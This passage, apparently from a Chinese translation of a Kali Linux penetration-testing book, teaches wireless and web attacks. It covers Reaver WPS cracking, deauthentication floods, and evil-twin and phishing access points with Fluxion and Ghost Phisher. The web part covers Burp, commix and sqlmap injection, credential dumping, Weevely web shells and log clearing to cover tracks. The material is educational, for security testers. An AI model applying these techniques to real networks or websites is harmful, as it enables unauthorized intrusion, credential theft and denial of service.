大多数接入点支持WiFi保护设置（WiFi Protected Setup，WPS）协议，其在2006年成为一个允许用户很轻松地设置和配置接入点的标准，并可以为现有网络增加新设备，而无须重新输入大量且复杂的密码。

不幸的是，该个人识别码为一个8位数字序号（可能是100000000），并且最后一个数字是一个校验值。因为WPS认证协议把该个人识别码一分为二，并分别对其进行验证，那就意味着它的前半部分的值为104（10000），后半部分的值为103（1000）——攻击者只需通过进行最大数量为11000次猜测就能破解该接入点！

Reaver是一种旨在最大限度地进行猜测的工具（尽管Wifite同样可以进行WPS猜测）。

进行Reaver攻击，可以通过如下命令使用一个叫作wash的同类工具来识别网络的任何漏洞：
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如果该网络有任何网络漏洞，可以使用如下命令发起对这些漏洞的攻击：
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在Kali中测试这种攻击表明，这种攻击速度缓慢且容易失败；然而，它可以用作背景攻击，或者补充其他路由攻击来破解WPA网络。


6.6　拒绝服务（DoS）攻击无线通信

我们将要评估的最后一个针对无线网络的攻击是拒绝服务攻击，在这里，攻击者将使合法用户访问无线网络的权限丧失，或通过致使网络崩溃的方法使网络不可用。无线网络极其容易受拒绝服务攻击，并且在分布式的无线网络上，很难定位攻击者。拒绝服务攻击的例子包括以下内容：

·注入制作网络命令，比如在无线网络上重新配置命令可能引起路由器、交换机和其他网络设备的失效。

·一些设备和应用程序可以识别正在发生的攻击，并通过自动禁用网络来实现响应。恶意的攻击者可以发起一个很明显的攻击，然后让目标自己创建拒绝服务攻击。

·用大量数据包洪泛攻击无线网络，可以致使该网络不可用；例如，HTTP洪泛攻击可以使数千个页面同时请求访问一个Web服务器，这可以耗尽该Web服务器的处理能力。在相同的方式下，使用认证和关联数据包块，用户可从其连接的接入点洪泛攻击该网络。

·攻击者通过精心设计具体的解除认证和解除关联的命令，可以在无线网络中，用关闭授权连接来洪泛攻击该网络，并停止合法用户维护他们到无线接入点的连接。

为了证明最后一点，我们将使用取消认证数据包，来创建一个泛洪拒绝服务攻击。因为无线802.11协议是在收到定义的数据包时建立的，且其支持解除认证（所以，当连接不需要时，用户可以中断该连接），这可能是一个毁灭性的攻击——它符合标准，并且没有办法可阻止其发生。

使合法用户关闭网络的最简单方法是针对他们使用一个解除认证数据包流。这些可以在aircrack-ng工具套件的帮助下完成，使用如下命令：
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此命令确定攻击类型为-0，表明它是一个取消鉴定攻击。第二个0（零）发射连续的取消鉴定数据包流，使得网络无法为其他用户所用。

Websploit框架是用来扫描和分析远程系统的开源工具。它包含几个工具，包括特定的无线攻击工具。要启动它，需要打开一个命令脚本并简单地输入websploit。

该Websploit界面类似于recon-ng和Metasploit框架，并将其作为一个模块化接口显示给用户。

一经发起，可以使用show modules命令来显示在现有版本中的攻击模块。使用use wifi/wifi_jammer命令选择WiFi干扰发射机（一种取消鉴定数据包流）。如图6.16所示，攻击者只需要使用set命令来设置各种选项，然后选择run发起攻击。
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图6.16　使用wifi_jammer命令


6.7　对WPA/WPA2实施攻击规划

WPA是广泛传播企业所采用的技术。它不使用单个WPA-PSK，大多数用户使用该技术连接到无线网络。为了兼顾域名账户的治理与灵活性，企业利用WPA方案。

破坏企业无线网络的典型方法是：首先枚举无线设备，最后攻击连接的客户端，目的是找出认证细节。这包括欺骗目标网络，并向客户端提供良好的信号。然后，原有的有效接入点接入延迟，在接入点（Access Point，AP）和连接到AP的客户端之间导入了MiTM攻击。为了模拟企业WPA攻击，当他们有一定量的接入点时，攻击者必须在物理上靠近目标。攻击者还可以使用wireshark嗅探流量，以识别无线网络流量握手。

在本节中，我们将使用Fluxion对WPA/WPA2企业执行不同类型的攻击。Fluxion是一种自动无线攻击工具，可以逃开无线，并创建恶意的访问点，它是用Bash和Python混合编写的。

可以通过运行git clone https://github.com/wi-fi-analyzer/fluxion
 来下载Fluxion。这个工具基于Linset，一个Evil Twin Attack Bash脚本。

攻击者可以利用此工具执行以下类型的攻击：

·扫描无线网络

·利用捕获的数据包来查找握手（提供有效的已经完成的握手）

·提供Web界面

·在几秒钟内创建假的AP以模仿原始AP

·它能够产生MDK3（一种将数据包注入无线网络的工具）

·自动启动假DNS服务器，以捕获所有DNS请求并将其重定向到托管机器

·为了密码密钥，创建一个假网页门户

·一旦找到钥匙，自动终止会话

一旦将Fluxion克隆到Kali Linux，确保运行Installer.sh，以便安装Fluxion运行所需的所有依赖项和库，无任何问题。攻击者成功安装Fluxion的截图如图6.17所示。
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图6.17　攻击者成功安装Fluxion

Fluxion允许攻击者从6种不同的语言中进行选择；一旦选择了该语言，将可以选择笔记本电脑/PC上的所有无线LAN接口。选择界面后，这些工具可提供选择特定通道或所有通道扫描网络的选项；攻击者可以根据目标Wi-Fi选择频道。扫描完成后，通过扫描识别无线AP列表，按Ctrl+C移至下一个屏幕，如图6.18所示。

当无线AP的所有列表都可用，攻击者可以继续任何选定的网络。例如，从图6.18中，攻击者将目标选择为31（VJ-Wifi2.4GHz），它正在加密WPA2上运行，并进入模拟Wi-Fi的下一个阶段，就像复制自己的基础架构和设置一样，它没有太大的区别。Fluxion允许我们选择4个选项，如图6.19所示。
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图6.18　识别无线AP列表
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图6.19　选择选项

可以看到以下是附加选项：

·通过Hostapd设置一个FakeAP。

·使用airbase-ng设置FakeAP。

·WPS-SLAUGHTER，可以通过强制WPS PIN码直接攻击无线AP（这只能做到为数字）。

·强制破解（Bruteforce）密码（只要有一个有效的握手完成）。

当攻击者选择执行FakeAP攻击时，使用相同的名称托管无线AP并轻松利用Websploit来降低信号强度，从而迫使客户端通过FakeAP（假AP）连接到AP。

Fluxion的写入方式是自动使用MDK3来对连接到AP的所有客户端进行身份验证，如图6.20所示。

同时，捕获数据通过另一个窗口进行，如图6.21所示。

一旦用户连接到FakeAP，受害者将被迫输入密码，直到它们正确地浏览其移动/笔记本电脑上的任何东西。一旦用户按下右键，Fluxion将显示破解的密钥，如图6.22所示。

当攻击者执行FakeAP攻击时，他们将能够看到如图6.23所示的界面，多个屏幕运行完全自动化，其中DHCP服务器、假DNS服务器和假网站托管运行在Kali Linux中的Fluxion的同一系统上。
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图6.20　客户端进行身份验证
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图6.21　数据捕获窗口
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图6.22　Fluxion显示破解的密钥
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图6.23　DHCP、假DNS和假网站托管在Fluxion的同一系统上运行


6.8　使用Ghost Phisher工作

与Fluxion类似，Kali具有内置应用程序，以GUI方式执行Wi-Fi钓鱼活动。Ghost Phisher是为了识别无线和以太网安全审计而建立的。它是完全用Python和Python QT编写的GUI库。

为了获取用户凭据，攻击者可以利用Ghost Phisher应用程序启动Fake AP，如图6.24所示。

Ghost Phisher目前提供以下可由渗透测试人员或攻击者利用的功能：

·创建HTTP服务器。

·DNS服务器。

·DHCP服务器。

·凭据记录页面（用于网络钓鱼任何用户名和密码）。

·接入点仿真器。

·高级会话劫持模块。

·Ghost Phisher提供执行ARP缓存中毒选项，以执行MiTM和DoS攻击的选项，类似于Ettercap/BetterCAP。

·允许攻击者嵌入metasploit绑定技术。

·SQLite数据库存储凭据。
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图6.24　利用Ghost Phisher应用程序启动Fake AP


6.9　小结

我们研究了针对无线网络攻击的几个成功的管理任务，包括无线适配器的选择、无线调制解调器的配置，以及AP的侦察工具如aircrack-ng、Kismet。在这一章中，我们重点使用了aircrack-ng的工具组件来确定隐藏网络，绕过MAC地址认证、破解WPA/WPA2，以及WPA企业。我们也看到了如何使用Fluxion、Ghost Phisher搭建假AP（FakeAP），以及如何针对无线网络执行拒绝服务攻击（DoS）。

下一章我们将关注如何利用特定方法评估网站，即执行必要的侦察和扫描来识别可利用的漏洞。我们会看到攻击者如何使用自动化工具来利用这些漏洞，如利用框架和在线密码破解。最后，我们将能够对Web应用程序进行最重要的攻击，然后利用与Web外壳的访问来完全渗透Web服务，并研究特定服务为何容易受到DoS攻击。


第7章　基于Web应用的侦察与利用

“Web利用开发的艺术是用工具思考的方式思考。”

在前面的章节中，我们回顾了攻击者的杀链——用来攻击网络和设备、发现数据，或阻碍访问网络资源等内容。在第5章中，我们从物理攻击和社会工程学出发研究了攻击的路线。在第6章中，我们看到了无线网络如何被入侵。在本章中，我们将重点研究最常见的攻击途径之一——通过网站或基于Web应用的攻击。

提供内容和基于网络的服务（例如，电子邮件和FTP）的网站是普遍存在的，并且大多数组织允许远程访问这些服务和几乎所有可用内容。然而，对于渗透测试者和攻击者，网站暴露了在网络上的后端服务、访问网站的用户客户端的活动，以及用户和该网站之间连接数据的频繁攻击。本章将重点从网站和网络服务的攻击者的角度来讨论，我们会在第8章回顾远程访问攻击，在第9章讨论应用客户端的攻击。

通过本章最后的学习，你将了解以下内容：

·Web应用程序攻击方法。

·Web应用程序入侵思维图和漏洞扫描。

·特定应用程序的攻击。

·利用Web服务漏洞。

·利用网络后门维护访问入侵系统。


7.1　方法

系统的、面向目标的渗透测试总是正确的开始方向。图7.1提供了所有Web应用程序入侵的方法，方法分为目标选择、爬虫和枚举、漏洞扫描、开发、覆盖痕迹和维护访问。
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图7.1　Web应用攻击方法

前述方法详细解释如下：

·设定目标（Set Target）：在渗透测试中设置正确的目标是非常重要的，因为攻击者将更多地关注特定的脆弱系统，以获得基于kill-chain方法的系统级访问。

·爬虫和枚举（Spider and Enumerate）：在此阶段，攻击者已经确定了Web应用程序的列表，以深入挖掘特定的漏洞。利用多种方法将爬虫应用于各种网页，并发现与之相关的东西进入下一阶段。

·漏洞扫描（Vulnerability Scannibg）：在这个阶段，所有已知的漏洞都是从众所周知的漏洞数据库收集而来，这些数据库具有公开的漏洞或已知的常见安全错误配置。

·利用（Exploitation）：该阶段用户可以利用已知和未知的漏洞，包括应用程序的业务逻辑。例如，如果一个应用程序管理界面被曝光，这个应用是脆弱的。攻击者可以直接试着访问接口执行各种类型的攻击，如密码猜测、蛮力攻击，或利用特定管理界面漏洞（JMX控制台攻击管理界面，无须登录和部署特别文件，并且运行一个远程shell）。

·覆盖痕迹（Cover Tracks）：在这个阶段，攻击者通过跟踪他们前进的每一步来清除所有的证据。例如，如果一个系统已经被上传文件漏洞和服务器上执行的远程命令破坏了，那么攻击者将尝试清除应用服务器日志、Web服务器日志、系统日志和其他日志。

·维持访问（Maintain Access）：当痕迹被覆盖时，要确保没有日志被留下用于追溯到入侵的源地址。攻击者可能会利用系统执行特权升级，或可以使用系统作为一个僵尸来执行更多的内部攻击，如在共享的驱动器上传播勒索软件，或者将受害系统都加到一个域，在更大组织的情况下控制这个企业域。


7.2　黑客构思

人类的思维是无可替代的，本节将更加关注如何从攻击者的角度来看待Web应用。图7.2显示了黑客的Web应用思维导图。
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图7.2　Web应用黑客思维导图

维导图主要分为两类：攻击者攻击服务器端漏洞或客户端漏洞。

服务器端和客户端漏洞通常是由于以下简单原因造成的：

·使用旧的/未更新的技术

·非常低的安全配置

·在没有安全意识的前提下编写应用程序

·人为因素——缺乏有能力的员工

在服务器端，攻击者通常会执行以下列表的攻击：

·Web应用防火墙规避

·SQL注入

·远程执行代码

·远程文件包含漏洞或本地文件包含漏洞

·路径遍历

·利用会话管理

·利用系统或应用的逻辑漏洞

·识别相关信息可以帮助攻击者执行更多目的明确的攻击

客户端攻击更侧重于利用浏览器或网络中存在的漏洞：

·Flash漏洞，到2017年3月28日，flash播放器有1006个漏洞（https://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-6761/Adobe-Flash-Player.html
 ）。

·JavaScript漏洞和Java漏洞。

·DNS的钉扎重新绑定漏洞。DNS重新绑定是一种基于DNS将恶意代码嵌入到Web页面上的攻击。通常，来自Web页面（JavaScript、Java和Flash）中的代码的请求被绑定到它们源自的网站（参见同源策略）。DNS重新绑定攻击可以用来提高JavaScript恶意软件侵入私有网络的能力，并破坏浏览器的同源策略。

·非DNS的钉扎漏洞。

·脚本注入漏洞、跨站脚本攻击、反射、存储、基于DNS的漏洞。

考虑到所有的漏洞列表，攻击者现在装备了完整的开发工具包列表，并准备开始一个网站的侦察活动。


7.3　对网站进行侦察

网站（提供服务的网站）是特别复杂的。通常情况下，交付给最终用户的服务使用的是多层架构的Web服务器，这些服务器面向互联网的公众开放，同时与后端服务器和位于网络上的数据库进行通信。

在测试过程中，必须考虑由复杂度引起的几个额外因素，其中包括以下内容：

·网络体系结构，包括安全控制（防火墙、IDS/IPS和蜜罐）和配置，诸如负载均衡。

·主机网络服务系统的平台架构（硬件、操作系统和附加应用程序）。

·应用、中间件和终极数据库，它们可能采用不同的平台（UNIX或Windows）、供应商、编程语言，以及商业和专用软件的组合。

·认证和授权过程，包括在应用程序中保持会话状态的过程。

·管理应用程序的基本业务逻辑。

·客户端与网络服务的交互与通信。

鉴于网络服务的复杂性，适应每个网站的特殊架构和服务参数，对渗透测试者是非常重要的。同时，测试过程必须持续且确保没有遗漏，当前已经提出了几种方法可以实现这些目标。最广泛接受的是开放Web应用安全项目（Open Web Application Security Project，OWASP）（www.owasp.org
 ），它列出了十大漏洞。

作为一个最低标准，OWASP向测试人员提供了一种强有力的方向。然而，只专注于前10个漏洞显然不具有前瞻性，并且该方法已经展示了一些缺口，特别是用该方法去寻找应用程序如何支撑商业活动的逻辑漏洞时。

在使用“杀链”方法时，针对一些特定于网络服务侦察的活动，需要强调以下几点内容：

·确定目标站点，特别是关于在哪里，以及它是如何托管的。

·枚举目标网站的目录结构和文件，包括确定是否在用一个内容管理系统（Content Management System，CMS）。这可能包括下载网站做离线分析，如文档的元数据分析，并利用网站创建一个自定义词表（使用密码破解程序，如crunch）。它还确保识别所有支持文件。

·确定身份验证和授权机制，并确定在与网络服务的交易中，如何维护会话的状态。这通常包括对cookies的分析和它们是如何使用的。

·枚举所有的表格。这些是用户输入数据以及与Web服务进行交互的主要手段，这些都是一些可利用的漏洞的具体地点，如SQL注入攻击、跨站脚本。

·识别接受输入的其他领域，如允许文件上传的页面，以及可接受的上传文件类型的任何限制。

·标识如何处理错误，并且由用户接收的实际的错误消息；往往该错误将提供有价值的内部信息，如使用软件的版本或内部的文件名和进程。

·确定哪些页面需要和保持安全套接字层协议或其他安全协议（参见第10章）。

首先进行如前所述的被动侦察和主动侦察（参见第2章和第3章）；尤其确保识别托管的网站，然后使用DNS映射来标识由相同的服务器提供服务的主机位置（攻击最常见和最成功的方法之一，是攻击位于目标服务器同一物理位置的非目标主机网站，利用服务器的弱点来获得root权限，然后使用特权升级攻击目标网站）。


7.3.1　Web应用防火墙和负载均衡检测

下一步是确定存在的基于网络的防护设备，如防火墙、IDS/IPS和蜜罐技术。一个越来越普遍的保护装置是Web应用防火墙（Web Application Firewall，WAF）。

如果正在使用WAF，测试人员必须通过编码来确保绕过WAF，尤其是那些依赖于手工输入的攻击。

WAF可以通过手动检查cookie（一些WAF标签或修改cookie，涉及Web服务器和客户端之间的通信），或者通过改变报头信息来识别（当一个测试者使用命令行工具连接到端口80时，会被识别）。

WAF检测过程中，可以自动使用nmap的脚本，http-waf-detect.nse，如图7.3所示。
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图7.3　WAF检测过程

nmap脚本识别一个WAF的存在。然而，脚本测试已经表明，它并不总是得到准确的结果，返回的数据可能过于笼统，以致不能引导一个有效策略来绕过防火墙。

wafw00f脚本是一个自动化的工具，可以识别和提取基于网络的防火墙指纹；试验已确定它是用于此目的最准确的工具。该脚本很容易从Kali调用，一个样本的输出如图7.4所示。
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图7.4　wafw00f脚本检测

负载均衡器（Load Balancing Detector，LBD）是一个bash shell脚本，确定一个给定的域是否使用DNS或HTTP负载均衡。这是从测试者的角度得到的很重要的信息，因为当测试了一个服务器，它可以解释看似反常的结果，然后负载均衡器开关要求不同的服务器。lbd采用多种检查来识别负载均衡的存在。一个样本的输出如图7.5所示。
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图7.5　使用lbd


7.3.2　指纹识别Web应用和CMS

Web应用指纹识别是渗透测试人员了解运行的Web服务器、Web技术版本和类型时的第一个任务，该技术允许攻击者确定已知的漏洞并适当利用。

攻击者可以使用命令行工具去连接远程主机。例如，在图7.6中，我们使用netcat命令连接到受害者主机上的80端口，并发出HTTP HEAD命令来确定在服务器上运行的是什么，在HTTP服务器的响应中得到结果；包括运行在Web服务器上的应用程序的类型，X-power-By部分提供了应用构建技术的详细版本信息，在本例中是PHP 5.5.38。
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图7.6　HTTP HEAD命令截图

现在，攻击者可以确定资源的漏洞，比如CVE details（https://www.cvedetails.com/vulnerabilit-list/vendor_id-74/product_id-128/PHPPHP.html
 ）：

渗透测试员的最终目标是获取敏感信息。该网站应进行检查以确定可用于建立和维护它的CMS。CMS应用程序如Drupal、Joomla和WordPress，其中之一可能是使用有漏洞的管理界面配置的，这种配置允许一个访问提升权限，或访问可能含有可利用的漏洞。

Kali包括一台自动扫描仪——BlindElephant，用于提取CMS指纹来确定版本信息。一个例子的输出，如图7.7所示。
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图7.7　使用BlindElephant的屏幕截图

BlindElephant回顾了CMS组件的指纹图谱，然后为目前所存在的版本提供了一个最好的猜测。然而，像其他的应用，我们已经发现它可能无法检测CMS；因此，总是需要验证其他扫描结果，针对为特定的目录和文件抓取网站的其他扫描仪内容，或手动检查站点。

一个特定的扫描工具，如自动化网络爬虫，可用来验证已收集的信息，以及确定特定网站的现有的目录和文件结构。网络爬虫的典型表现包括管理门户、配置文件（当前及以前的版本），可能包含内部硬编码访问凭据、内部结构信息、网站的备份副本、管理员笔记、机密的个人信息和源代码。

卡利支持多种网络爬虫，包括Burp Suite、DirBuster、OWASP-ZAP、Vega、WebScarab和WebSlayer。最常用的工具是DirBuster。

DirBuster是图形用户界面驱动的，使用可能的目录和文件列表，对网站的结构进行蛮力分析的应用程序。可以在一个表或树中查看响应，并且能准确地反映网站的结构。针对目标网站执行该程序的输出如图7.8所示。
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图7.8　使用DirBuster强力分析网站结构


7.3.3　利用命令行设置镜像网站

攻击者经常会花很多时间在识别特定页面/URL地址漏洞上，所以一个基本步骤就是克隆或下载所有可用的本地网站信息，来缩小正确的入口点，或者执行社会工程攻击来收集电子邮件地址和其他相关信息。

另外，也可以直接复制一个网站到测试者的位置。这个“克隆网站”允许测试人员轻松审查本地文件目录结构及其内容，提取元数据，并使用该网站的内容作为程序的输入，如crunch，这将产生一个个性化的词库来支持密码破解。

如果你已经映射网站或网络服务的基本结构，那么杀链的下一个阶段就是确定可被利用的漏洞。

Kali提供了一个内置的应用httrack，可将网站内容克隆到本地系统。httrack是命令行，同时也是GUI的，一个广泛使用工具。攻击者可以直接发出命令httrack http://targetwebapp/-O outputfolder
 ，如图7.9所示。
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图7.9　使用httrack

当httrack执行完成，测试人员就能够在本地加载应用程序并获取信息、识别漏洞。


7.4　客户端代理

客户端代理截获HTTP和HTTPS通信，允许渗透测试人员检查用户与应用程序之间的通信。它允许测试人员复制数据或与发送应用请求进行交互。客户端代理最初被设计用来调试应用程序并纠正功能错误，这个功能可被攻击者滥用来执行中间人攻击。

Kali带有几个客户端代理，包括Burp Suite、OWASP ZAP、Paros、ProxyStrike，漏洞扫描器Vega和WebScarab。经过广泛的测试，我们已经开始依赖Burp代理，将ZAP作为一个备份工具。在本节中，我们将主要介绍关于Burp Suite的内容。


7.4.1　Burp代理

Burp主要用于拦截HTTP（S）流量；然而，这是一个更大的工具套件，具有几个附加功能，其中包括的一部分如下：

·应用感知蜘蛛用于爬行站点。

·漏洞扫描器，包括序列发生器，以测试会话令牌的随机性，并转发操作和重新发送客户端与网站之间的请求（Kali中打包的Burp代理的免费版不包含漏洞扫描程序中）。

·入侵者的工具，可以用来发动自定义的攻击（Kali中包含的免费版本的工具的速度会受到限制；如果你购买了软件的商业版本，将不受这些限制）。

·能够编辑现有的插件或写新的插件，以扩展可以使用的攻击的数量和类型。

要使用Burp，确保你的Web浏览器配置为使用本地代理；通常情况下，你需要调整网络设置，来指定HTTP和HTTPS流量必须在本地主机（127.0.0.1）的端口8080使用。

设置浏览器和代理一起工作后，手动映射应用程序。通过关闭代理拦截，然后浏览整个应用程序可以完成这一步。按照每一个环节，递交表格并登录到该网站尽可能多的领域。从不同的响应，可以推断出一些额外的内容。站点地图将填充Target选项卡内的区域（自动爬行也可以使用鼠标右键单击该网站，并选择Spider This Host；然而，手工技术给测试者提供了一个深入了解目标的机会，并且它可以识别要避免的区域）。

一旦目标被映射，通过选择站点地图中的分支来定义目标–范围，并使用Add to Scope命令。一旦完成，你可以使用显示过滤器隐藏在站点地图上不感兴趣的项目。目标网站创建的站点地图如图7.10所示。

一旦爬虫任务完成，人工检查的目录和文件列表不是公共网站的一部分，或无意中公开出现的任何结构，例如，目录名为管理、备份、文档，或笔记，都应进行人工审查。

手动测试使用单引号作为输入产生错误代码的提示，它可能是一个容易受到SQL注入攻击的登录页面，错误代码的样本返回显示，如图7.11所示。
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图7.10　目标网站创建的站点地图
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图7.11　返回错误信息

代理的真正实力在于它截获并修改命令的能力。在这个特殊的例子中，我们将使用Mutillidae网站（一个安装为Metasploitable测试框架的一部分的“破碎”站点，以绕过SQL注入的认证）。

要发动这种攻击，确保Burp代理配置拦截通信，转到Proxy标签，再选择Intercept（拦截）子选项卡。点击Intercept is on按钮，如图7.12所示。准备工作完成后，打开浏览器窗口，并通过输入<IP address>/mutillidae/index.php?page=login.php，访问Mutillidae登录页。输入用户名和密码，然后点击登录按钮。

如果你返回Burp代理，将会看到该用户输入到网页上的表格中的信息被截获。
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图7.12　Burp拦截的信息

单击Action按钮，并选择Send to Intruder（发送到入侵者）选项。打开主Intruder选项卡，你会看到4个子项：Target、Positions、Payloads和Options，如图7.13所示。如果选择Positions，你会看到来自截获的信息的5个有效载荷的位置。
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图7.13　Intruder选项卡

这种攻击将使用Burp代理的狙击手模式，同时，从由测试仪提供的列表中选取单一输入表单，同时，发送该输入到一个单一的有效载荷位置。在这个例子中，我们的目标是用户名字段，它是我们基于返回的错误信息怀疑的漏洞所在。

定义有效载荷的位置，我们选择子标签的Payloads选项，如图7.14所示。
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图7.14　选择Payloads选项

为了发动攻击，从顶部的菜单选择Intruder，然后选择Start Attack。代理将遍历单词表，对选定的有效载荷位置作为合法的HTTP请求，它将返回服务器的状态代码。正如你可以在图7.15中看到的，大多数选项生产200（请求成功）的状态代码；然而，一些数据返回的是302（请求找到；表明所请求的资源目前位于不同的URI下）的状态代码。

出现302状态表示攻击成功，并且所获得的数据可以用来成功登录到目标位置。

不幸的是，对Burp代理及其功能的概述实在太简单。Kali中的免费版Burp可以满足许多测试任务；然而，严谨的测试者（和攻击者）应该考虑购买商业版本。


7.4.2　扩展Web浏览器的功能

Web浏览器是为与网络服务交互而设计的。它们被选择作为易受到攻击评估和利用的工具是自然而然的事。

这种类型的工具的最好的例子是OWASP的Mantra，一个基于Firefox浏览器上的第三方安全实用程序的集合。OWASP的Mantra支持Windows、Linux和Macintosh的测试系统，并提供了支持以下活动的实用访问：

·信息采集（information gathering）：这些工具提供被动侦察，报告目标的物理位置，揭露底层的站点技术和搜索网站的超链接测试。

·编辑器（editors）：实用编辑程序的集合，编辑、调试、监控HTML、CSS和JavaScript。
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图7.15　攻击返回的状态代码

·代理（proxy）：提供代理管理工具，包括FoxyProxy，一个便于在代理之间来回切换的工具。

·网络实用工具（network utilities）：这些工具为客户提供FTP和SSH通信，并简化DNS缓存管理。

·应用审计（application auditing）：各种用户代理之间的切换，访问Web开发工具，控制每个站点的HTTP连接发送，发现SQL注入，XSS漏洞，允许测试人员篡改数据，以及访问Websecurify工具。

·其他（miscellaneous）：生成脚本，会话管理和下载，以及访问加密、解密和散列标签功能。

该Mantra框架可用于促进对网站的半自动化侦察。

在图7.16中，Mutillidae登录页面已在Mantra浏览器中打开。使用下拉菜单（右上角激活蓝色标识）时，SQL Inject Me应用的申请——已选自可用的工具中，并显示在左侧面板。


7.4.3　Web抓取和目录的暴力攻击

Web抓取是一种使用机器人或自动化脚本从网站获取特定信息的过程。Kali为执行此活动提供了内置的应用程序。Web抓取的好处是可以擦除所有的数据，而不必手工地逐个擦除。
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图7.16　使用Mantra打开Mutillidae登录页面

攻击者可以利用WebSploit来执行Web扫描、抓取和分析。例如，为了在多个站点上识别phpmyadmin，攻击者可以通过在终端上运行WebSploit来配置WebSploit模块，使用use web/pma，通过设置目标受害者（set target victim）来设置目标主机，运行后如图7.17所示。
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图7.17　使用use web/pmad

攻击者还可以使用dirb、OWASP DirBuster和其他工具来执行相同的操作。


7.4.4　具体网络服务的漏洞扫描器

漏洞扫描器是自动运行的应用程序，也是确定已知漏洞签名的工具。

Kali附带了几个预安装的漏洞扫描器；可以通过导航访问依次选择Kali Linux|Web Applications|Web Vulnerability。渗透测试者通常会使用两个或三个全面扫描仪对同一标扫描，以确保有效的结果。需要注意的是一些漏洞扫描器也包括攻击的功能。

漏洞扫描器是很“嘈杂”的，并且通常是由受害人检测。然而，作为常规的跨互联网背景探索的一部分，扫描经常被忽略。事实上，一些攻击者已经知道通过发动大规模扫描，针对目标作伪装真实的攻击，或者诱使防护者禁用检测系统，以减少他们必须管理的报告的数量。

表7.1为最重要的漏洞扫描器的快速回顾。

表7.1　重要漏洞扫描器
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Kali还包括一些特殊应用的漏洞扫描器。例如，WPScan是专门针对WordPress CMS应用的。


7.5　针对特定应用的攻击

针对特定应用的攻击，多于针对特定操作系统的攻击；当人们考虑到错误配置、漏洞和逻辑错误可能影响到每个在线的应用时，这是令人惊讶的，任何应用程序都可以被认为是“安全的”。我们将重点介绍一些对Web服务的更重要的攻击。


7.5.1　暴力破解访问证书

一个对网站或其服务最常见的初始攻击，是针对接入认证猜测的用户名和密码穷举攻击。这种攻击有很高的成功率，因为用户往往选择容易记住的凭据或重用凭据，并且系统管理员经常不控制多路访问尝试。

Kali配备了hydra（一个命令行工具）和hydra-GTK（它有一个GUI界面）。这两种工具允许测试人员蛮力或重用可能的用户名和密码，以攻击特定的服务。多种通信协议支持该应用，包括FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC，等等。hydra使用蛮力攻击判定的HTTP页面访问证书，如图7.18所示。
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图7.18　使用hydra进行攻击


7.5.2　使用commix的OS命令行注入

命令行注入开发（commix）是一种用Python编写的自动化工具，在Kali Linux中进行预编译；如果应用能够被命令注入，则它可以执行各种OS命令。它允许攻击者在应用，甚至在HTTP头中有漏洞的部分进行注入。commix还在各种渗透测试框架中作为附加插件，如渗透测试框架（Penetration Testers framework，PTF）和OWASP的攻击Web测试框架（Offensive Web Testing Framework，OWTF）。

通过在终端中输入commix–h，攻击者可以使用commix提供的所有功能。

为了模拟使用commix的开发，我们将在有漏洞的Web服务器终端上执行如下命令：
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渗透测试人员能够看到在目标服务器上执行命令的进度，以及漏洞的参数。在前述场景中，target_host是使用经典注入技术注入的，如图7.19所示。
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图7.19　使用target-host注入

一旦注入成功，攻击者现在可以在服务器上运行任何类型的命令，例如dir，列出所有的文件和文件夹，如图7.20所示。
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图7.20　commix成功后使用dir命令列出所有的文件和文件夹


7.5.3　数据库注入攻击

网站最常见并且可利用的漏洞是注入漏洞，当受害者网站不监控用户输入，允许攻击者与后台系统进行交互时，将发生注入攻击。攻击者可以通过精心设计的输入数据以修改或从数据库窃取内容，将一个可执行软件放到服务器上，或发出指令给操作系统。

其中，评估SQL注入漏洞最有用的工具是sqlmap，它是一个Python工具，可以自动开启Firebird、MicrosoftSQL、MySQL、Oracle、PostgreSQL、Sybase、SAP MaxDB数据库的侦测和利用。

我们将展示针对Mutillidae数据库的SQL注入攻击。第一步是确定Web服务器，后台数据库管理系统和可用的数据库。

启动Metasploitable虚拟机，并访问Mutillidae网站。完成后，查看网页以确定一个接受用户输入的页面（即接收用户名和密码的页面，例如，远程用户登录的表单）；这些页面可能容易受到SQL注入攻击。然后打开Kali，并在命令提示符下输入以下内容（使用相应的目标IP地址）：
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sqlmap返回的数据如图7.21所示。
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图7.21　使用sqlmap返回数据

最有可能用来存储应用程序的数据的数据库是nowasp数据库，因此，我们将使用以下命令检查数据库的所有表项：
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执行上述命令后返回的数据如图7.22所示。
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图7.22　显示owasp10数据库表项

所有的表都被列举，其中一个表的标题是accounts（见图7.23）。我们将试图从该部分表中转储数据。如果成功，该账号凭据也将使我们返回数据库，即使进一步的SQL注入攻击失败。

为了转储凭据，请使用以下命令：

[image: ]


图7.23　执行上述命令
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类似的攻击可以用于从数据库中提取信用卡号码或其他确定信息。


7.6　使用WebShells维持访问

一旦入侵一台Web服务器及其服务，最重要的任务就是确保可以维持安全访问。这通常借助于一个网络外壳小程序来提供隐身后门进入，并允许使用系统命令，以方便进行后期利用活动。

Kali附带了几个Web Shell。在这里，我们将使用流行的PHP网络外壳小程序Weevely。

Weevely模拟一个远程会话，并允许测试者或攻击者利用超过30个模块进行后期开发利用，包括以下优势：

·浏览目标文件系统。

·从受感染的系统进行文件传输。

·对执行审计的通用服务器配置错误。

·通过目标系统暴力破解SQL账户。

·产生逆向TCP外壳。

·在已被侵入的远程系统上执行命令，即使已应用PHP的安全性限制。

最后，Weevely努力隐藏HTTP cookies以逃避侦察。要创建Weevely，从命令提示符下输入以下命令：
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这将在根目录下创建文件weevely.php。在已被侵入的远程系统上执行命令，即使已应用PHP的安全性限制；执行weevely的结果如图7.24所示。
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图7.24　执行Weevely的结果

使用文件上传漏洞或其他任何入侵点，包括提供访问meterpreter进行文件上传的功能，上传weevely.php到被感染的网站。

要与网络外壳进行通信，从命令提示符输入以下命令，以确保目标的地址、目录和密码变量被改变，以反映出那些被感染的系统：
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在图7.25所示的例子中，我们已经证实。连接到了网络外壳，使用dir命令来获取一个文件列表（这再次证实了源网络外壳连接到了weevely.php）。
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图7.25　执行dir命令

网络外壳也可以用来建立一个反向外壳，连接返回到测试器，使用任一Netcat的或Metasploit的框架作为本地侦听器。这也可用以通过水平或垂直逐步提升特权来进一步攻击网络内部。


7.7　小结

在本章中，我们研究了网站以及服务，本章提供了从攻击者的角度来看授权用户的服务。我们以杀链的角度来看Web服务，目的是了解侦察和漏洞扫描的正确应用。

